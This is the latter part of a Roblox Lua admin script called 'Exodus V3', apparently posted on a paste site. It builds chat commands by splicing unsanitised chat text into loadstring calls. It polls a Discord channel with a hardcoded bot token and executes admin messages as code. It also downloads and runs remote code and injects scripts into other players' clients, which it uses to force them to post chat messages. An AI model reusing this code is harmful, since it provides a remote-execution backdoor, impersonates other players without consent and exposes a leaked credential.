- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'others') then for i,v in pairs(players:children()) do if v.Name~="]]..getplayeradmin.Name..[[" then ]]..source..[[ end end end]])()
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'admins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name==x then ]]..source..[[ end end end end]])()
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'nonadmins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name~=x then ]]..source..[[ end end end end]])()
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'me') then for i,v in pairs(players:children()) do if v.Name==real_me.Name then ]]..source..[[ end end end]])()
- loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'all') then for i,v in pairs(players:children()) do ]]..source..[[ end end]])()
- loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'random') then local v1 = game:service'Players':GetChildren()
- v = (v1[math.random(1,#v1)]) ]]..source..[[ end]])()
- end
- end;
- if type:lower() == 'normal' then
- if m:sub(1,#prefix+#cmd) == prefix..cmd then
- loadstring([[ txt = "]]..m:sub(#prefix+#cmd+#prefix2+1)..[["
- player = game:service'Players'[']]..getplayeradmin.Name..[[']
- lclean = false
- game:GetService("RunService").Stepped:connect(function() if lclean == true then
- for i = 1,#workspace:children(),1 do
- for i,v in pairs(workspace:children()) do
- if v.Name~='Base' and v.ClassName~='Terrain' and v.ClassName~='Camera' and v.Name~=script.Name then
- if not game:service'Players':FindFirstChild(v.Name) then
- v:Remove()
- end
- end
- end
- end end end) pcall(function() ]]..source..[[ end)
- ]])()
- end
- end;
- end)
- end
- end
- end
- for i,getadmin in pairs(admins) do
- game:service'Players'.PlayerAdded:connect(function(getplayeradmin)
- if getplayeradmin.Name==getadmin then
- getplayeradmin.Chatted:connect(function(m)
- if type:lower()=='player' then
- if m:lower():sub(1,#cmd+#prefix+#prefix2)==prefix..cmd..prefix2 then
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- for i,v in pairs(players:children()) do if string.find(v.Name:lower(),msg:lower():sub(#prefix+#prefix2+#cmd+1)) then ]]..source..[[ end end]])()
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'others') then for i,v in pairs(players:children()) do if v.Name~="]]..getplayeradmin.Name..[[" then ]]..source..[[ end end end]])()
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'admins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name==x then ]]..source..[[ end end end end]])()
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'nonadmins') then for i,x in pairs(admins) do for i,v in pairs(players:children()) do if v.Name~=x then ]]..source..[[ end end end end]])()
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'me') then for i,v in pairs(players:children()) do if v.Name=="]]..getplayeradmin.Name..[[" then ]]..source..[[ end end end]])()
- loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'all') then for i,v in pairs(players:children()) do ]]..source..[[ end end]])()
- loadstring([[ msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- if string.find(msg:lower():sub(#prefix+#prefix2+#cmd+1),'random') then local v1 = game:service'Players':GetChildren()
- local v = (v1[math.random(1,#v1)]) ]]..source..[[ end]])()
- end
- end;
- if type:lower() == 'normal' then
- if m:sub(1,#prefix+#cmd) == prefix..cmd then
- loadstring([[txt = "]]..m:sub(#prefix+#cmd+#prefix2+1)..[[" local player = game:service'Players'[']]..getplayeradmin.Name..[['] logservice=false
- lclean = false
- game:GetService("RunService").Stepped:connect(function() if lclean == true then
- for i = 1,#workspace:children(),1 do
- for i,v in pairs(workspace:children()) do
- if v.Name~='Base' and v.ClassName~='Terrain' and v.ClassName~='Camera' and v.Name~=script.Name then
- if not game:service'Players':FindFirstChild(v.Name) then
- v:Remove()
- end
- end
- end
- end end end) pcall(function() ]]..source..[[ end)
- ]])()
- end
- end;
- end)
- end
- end)
- end
- end
- function AddSplitCmd(cmd,source)
- table.insert(commands,prefix..cmd..prefix2..'player'..prefix2..'number or string')
- for i,admineze in pairs(admins) do if game:GetService'Players':FindFirstChild(admineze) then
- local adminplayern = game:GetService("Players")[admineze]
- if adminplayern.Name==admineze then
- adminplayern.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
- local count = 0
- local sub1 = 0
- local sub1_p2=0
- local sub2 = 0
- local sub2_p2=0
- for i = 1,#m,1 do
- if m:sub(i,i)==prefix2 then
- count=count+1
- if count == 1 then
- sub1=i
- end
- if count == 2 then
- sub2=i
- end
- end
- end
- loadstring([[split = "]]..m:sub(sub2+1)..[[" for i,plr in pairs(game:service'Players':children()) do if string.find(plr.Name:lower(),(']]..m:sub(sub1+1,sub2-1)..[['):lower()) then ]]..source..[[ end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" if txt == ('me'):lower() then local plr=game:service'Players'[']]..adminplayern.Name..[['] ]]..source..[[ end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('all'):lower() then ]]..source..[[ end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('others'):lower() then if plr.Name~=']]..adminplayern.Name..[[' then ]]..source..[[ end end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('admins'):lower() then for i,admin in pairs(admins) do if plr.Name==admin then ]]..source..[[ end end end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('nonadmins'):lower() then for i,admin in pairs(admins) do if plr.Name~=admin then ]]..source..[[ end end end end]])()
- end
- end)
- end
- end
- end
- players.PlayerAdded:connect(function(adminplayern)
- for i,admineze in pairs(admins) do
- if adminplayern.Name==admineze then
- adminplayern.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
- local count = 0
- local sub1 = 0
- local sub1_p2=0
- local sub2 = 0
- local sub2_p2=0
- for i = 1,#m,1 do
- if m:sub(i,i)==prefix2 then
- count=count+1
- if count == 1 then
- sub1=i
- end
- if count == 2 then
- sub2=i
- end
- end
- end
- loadstring([[split = "]]..m:sub(sub2+1)..[[" for i,plr in pairs(game:service'Players':children()) do if string.find(plr.Name:lower(),(']]..m:sub(sub1+1,sub2-1)..[['):lower()) then ]]..source..[[ end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" if txt == ('me'):lower() then plr=game:service'Players'[']]..adminplayern.Name..[['] ]]..source..[[ end ]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('all'):lower() then ]]..source..[[ end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('others'):lower() then if plr.Name~=']]..adminplayern.Name..[[' then ]]..source..[[ end end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('admins'):lower() then for i,admin in pairs(admins) do if plr.Name==admin then ]]..source..[[ end end end end]])()
- loadstring([[split = "]]..m:sub(sub2+1)..[[" txt = "]]..m:sub(sub1+1,sub2-1)..[[" for i,plr in pairs(game:service'Players':children()) do if txt == ('nonadmins'):lower() then for i,admin in pairs(admins) do if plr.Name~=admin then ]]..source..[[ end end end end]])()
- end
- end)
- end
- end
- end)
- end
- function MakePrivateServer(name)
- local code = TS:ReserveServer(game.PlaceId)
- coroutine.wrap(function() DS:SetAsync(name,code); end)()
- local PriName = DS:SetAsync(name,code)
- end
- function AddRegularCmd(cmd,type,source,who)
- table.insert(commands,prefix..cmd..prefix2..'string')
- if type:lower() == 'normal' then
- local plaxr = game:GetService'Players'[who]
- plaxr.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
- plaxr3 = plaxr.Name
- loadstring("lolMe = '"..plaxr3.."' ending = [["..m:sub(#prefix+#cmd+#prefix2+1).."]] "..source)()
- end
- end)
- if type:lower() == 'normal' then
- game:GetService("Players").PlayerAdded:connect(function(plaxr1)
- plaxr1.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
- local plaxr2 = plaxr1.Name
- loadstring("lolMe = '"..plaxr2.."' ending = [["..m:sub(#prefix+#cmd+#prefix2+1).."]] "..source)()
- end
- end)
- end)
- end
- end
- if type:lower() == 'player' then
- local plaxr = game:GetService'Players'[who]
- plaxr.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
- plaxr3 = plaxr.Name
- local msg2 = m:sub(#prefix+#cmd+#prefix2+1)
- for i,v in pairs(game:service'Players':children()) do if string.find(v.Name:lower(),msg2:lower()) then
- loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if string.find(xplr.Name:lower(),'"..msg2:lower().."') then "..source.." end end")()
- end
- end
- if msg2:lower() == 'me' then
- loadstring("lolMe = '"..plaxr3.."' xplr = game:service'Players'[lolMe] "..source)()
- end
- if msg2:lower() == 'all' then
- loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do "..source.." end")()
- end
- if msg2:lower() == 'others' then
- loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if xplr.Name~=lolMe then "..source.." end end")()
- end
- end
- end)
- function DiscordGetMessages()
- pcall(function()
- game.ServerScriptService:WaitForChild("ChatServiceRunner")
- ChatService = require(game.ServerScriptService.ChatServiceRunner:WaitForChild("ChatService"))
- Server = ChatService:AddSpeaker("Admin"..math.random())
- Server:JoinChannel("All")
- Server:SetExtraData("ChatColor", Color3.new(200 / 255, 200 / 255, 200 / 255))
- sendChatMessage = function(message)
- ChatService:GetChannel("All"):SendSystemMessage(message, {
- ["ChatColor"] = Color3.new(1,1,1)
- })
- end
- sendChatMessage("Connected to Discord.");
- API = {
- CanaryURL = "https://canary.discordapp.com/";
- ChannelID = "313423686998687744";
- Headers = {
- authorization = "Bot MzEzNDI0NzM4OTE3Njc5MTA0.DAFCZQ.RdwmDDhPLHttPnnW515EOLMP9Zc";
- };
- }
- local BaseURL = "https://canary.discordapp.com/";
- http = game.HttpService
- API.messageReceived = function(code)
- local msgs = {}
- spawn(function()
- repeat
- local data = http:GetAsync(BaseURL.."api/v6/channels/"..API.ChannelID.."/messages", true, API.Headers)
- --print(data)
- local hax = http:JSONDecode(data)
- if msgs[1] == hax[1]['timestamp'] then
- --print('Already posted')
- else
- table.insert(msgs, 1, hax[1]['timestamp'])
- code(hax[1])
- end
- wait(.8)
- until nil
- end)
- end
- ircAdmin = false
- API.messageReceived(function(data)
- local person = data['author'].username
- local message = data['content']
- for i = 1,#admins do
- if string.find(admins[i],person:sub(1,#person-#' >')) then
- if message:lower():sub(1,#prefix+#'ia'+#prefix2+#'true')==prefix..'ia'..prefix2..'true' then
- ircAdmin=true
- end
- end
- if string.find(admins[i],person:sub(1,#person-#' >')) then
- if message:lower():sub(1,#prefix+#'ia'+#prefix2+#'false')==prefix..'ia'..prefix2..'false' then
- ircAdmin=false
- end
- end
- if string.find(admins[i],person:sub(1,#person-#' >')) then
- if message:lower():sub(1,#prefix+#'exe'+#prefix2)==prefix..'exe'..prefix2 then
- if ircAdmin == true then
- pcall(function()
- loadstring(message:sub(#prefix+#'exe'+#prefix2+1))()
- end)
- end
- end
- end
- end
- if not game:service'Players':FindFirstChild(person:sub(1,#person-#' >')) then
- sendChatMessage(person..'\t'..message)
- end
- end)
- end)
- end
- game:GetService("Players").PlayerAdded:connect(function(plaxr1)
- plaxr1.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#cmd+#prefix2)==prefix..cmd..prefix2 then
- plaxr4 = plaxr1.Name
- local msg2 = m:sub(#prefix+#cmd+#prefix2+1)
- for i,v in pairs(game:service'Players':children()) do if string.find(v.Name:lower(),msg2:lower()) then
- loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if string.find(xplr.Name:lower(),'"..msg2:lower().."') then "..source.." end end")()
- end
- end
- if msg2:lower() == 'me' then
- loadstring("lolMe = '"..plaxr3.."' xplr = game:service'Players'[lolMe] "..source)()
- end
- if msg2:lower() == 'all' then
- loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do "..source.." end")()
- end
- if msg2:lower() == 'others' then
- loadstring("lolMe = '"..plaxr3.."' for i,xplr in pairs(game:service'Players':children()) do if xplr.Name~=lolMe then "..source.." end end")()
- end
- end
- end)
- end)
- end
- end
- function LS(otherplayer, source)
- local NEWLS
- if HttpService:GetAsync(LocalScriptHost) ~= nil then
- local ID = tonumber(HttpService:PostAsync(LocalScriptHost .. "upload_scr.php",source,Enum.HttpContentType.TextPlain))
- if ID ~= "" or ID ~= " " then
- NEWLS = require(ID)
- end
- local scrpt = require(ID)
- scrpt.Parent=otherplayer.PlayerGui
- scrpt.Disabled=false
- if ID == "" or ID == " " or scrpt == nil or require(ID).Name ~= "LocalScript" then
- HttpService:GetAsync(LocalScriptHost .. "login.php",true)
- end
- end
- if NEWLS:IsA"LocalScript" or NEWLS:IsA"BaseScript" then
- --table.insert(scripts,NEWLS)
- end
- return NEWLS
- end
- --end)
- function followPlayer(player, targetUserId) -- The player you are teleporting and the userId of the player you are teleporting to.
- local PlayerNameUserId = players:GetUserIdFromNameAsync(targetUserId)
- local playerUserIdName = players:GetNameFromUserIdAsync(PlayerNameUserId)
- local success, errorMsg, placeId, instanceId = TS:GetPlayerPlaceInstanceAsync(PlayerNameUserId)
- if success then
- TS:TeleportToPlaceInstance(placeId, instanceId, player)
- else
- end
- end
- function ChatLoop(who,loop,txt)
- LS(who,[[
- for i = 1,]]..loop..[[,1 do wait()
- plrbb = game:service'Players'.LocalPlayer
- for i,v in pairs(plrbb.PlayerGui:children()) do if v.Name=='SB_Chat' then
- v.Name='Chat' end end
- tb = game:service'Players'.LocalPlayer.PlayerGui:WaitForChild('Chat').DestroyGuardFrame.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar
- tb:CaptureFocus()
- tb.Text="]]..txt..[["
- tb:ReleaseFocus(13)
- for i,v in pairs(plrbb.PlayerGui:children()) do if v.Name=='Chat' then
- v.Name='SB_Chat' end end end
- ]])
- end
- function Chat(who,msg)
- ChatLoop(who,1,msg);
- end
- loadstring(http:GetAsync(cmds_http))()
- MusicCommands()
- OtherCommands()
- TabCommands()
- DiscordGetMessages()
- warn'Exodus V3 has loaded.'
- end))
- --[[else
- print("You cannot use this admin at this place due to loggers.")
- owner.Character.Humanoid.HipHeight=0/0
- end]]
- end))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement